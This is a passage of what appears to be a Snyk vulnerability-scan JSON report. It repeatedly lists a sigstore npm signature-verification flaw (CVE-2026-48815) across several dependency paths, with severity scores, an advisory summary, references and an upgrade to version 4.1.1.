"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[sigstore](https://www.npmjs.org/package/sigstore) is a code-signing for npm packages\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `sigstore` to version 4.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "sigstore", "proprietary": false, "creationTime": "2026-07-04T16:02:59.038514Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:59.202340Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.666813Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "sigstore@4.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "sigstore", "version": "4.1.0" }, { "id": "SNYK-JS-SIGSTORE-17817054", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<4.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "4.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "sigstore", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[sigstore](https://www.npmjs.org/package/sigstore) is a code-signing for npm packages\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `sigstore` to version 4.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "sigstore", "proprietary": false, "creationTime": "2026-07-04T16:02:59.038514Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:59.202340Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.666813Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "sigstore@4.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "sigstore", "version": "4.1.0" }, { "id": "SNYK-JS-SIGSTORE-17817054", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<4.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "4.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "sigstore", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[sigstore](https://www.npmjs.org/package/sigstore) is a code-signing for npm packages\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `sigstore` to version 4.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "sigstore", "proprietary": false, "creationTime": "2026-07-04T16:02:59.038514Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:59.202340Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.666813Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "sigstore@4.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "sigstore", "version": "4.1.0" }, { "id": "SNYK-JS-SIGSTORE-17817054", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<4.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "4.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "sigstore", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[sigstore](https://www.npmjs.org/package/sigstore) is a code-signing for npm packages\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `sigstore` to version 4.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "sigstore", "proprietary": false, "creationTime": "2026-07-04T16:02:59.038514Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:59.202340Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.666813Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "sigstore", "version": "4.1.0" }, { "id": "SNYK-JS-SIGSTORE-17817054", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<4.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "4.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "sigstore", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[sigstore](https://www.npmjs.org/package/sigstore) is a code-signing for npm packages\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `sigstore` to version 4.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "sigstore", "proprietary": false, "creationTime": "2026-07-04T16:02:59.038514Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:59.202340Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.666813Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "sigstore", "version": "4.1.0" }, { "id": "SNYK-JS-SIGSTORE-17817054", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<4.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "4.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "sigstore", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[sigstore](https://www.npmjs.org/package/sigstore) is a code-signing for npm packages\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `sigstore` to version 4.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "sigstore", "proprietary": false, "creationTime": "2026-07-04T16:02:59.038514Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:59.202340Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.666813Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "sigstore", "version": "4.1.0" }, { "id": "SNYK-JS-SIGSTORE-17817054", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<4.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "4.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "sigstore", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[sigstore](https://www.npmjs.org/package/sigstore) is a code-signing for npm packages\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `sigstore` to version 4.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "sigstore", "proprietary": false, "creationTime": "2026-07-04T16:02:59.038514Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:59.202340Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.666813Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "sigstore", "version": "4.1.0" }, { "id": "SNYK-JS-SIGSTORE-17817054", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<4.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "4.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "sigstore", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[sigstore](https://www.npmjs.org/package/sigstore) is a code-signing for npm packages\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `sigstore` to version 4.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "sigstore", "proprietary": false, "creationTime": "2026-07-04T16:02:59.038514Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:59.202340Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.666813Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "sigstore", "version": "4.1.0" }, { "id": "SNYK-JS-SIGSTORE-17817054", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<4.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "4.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "sigstore", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", 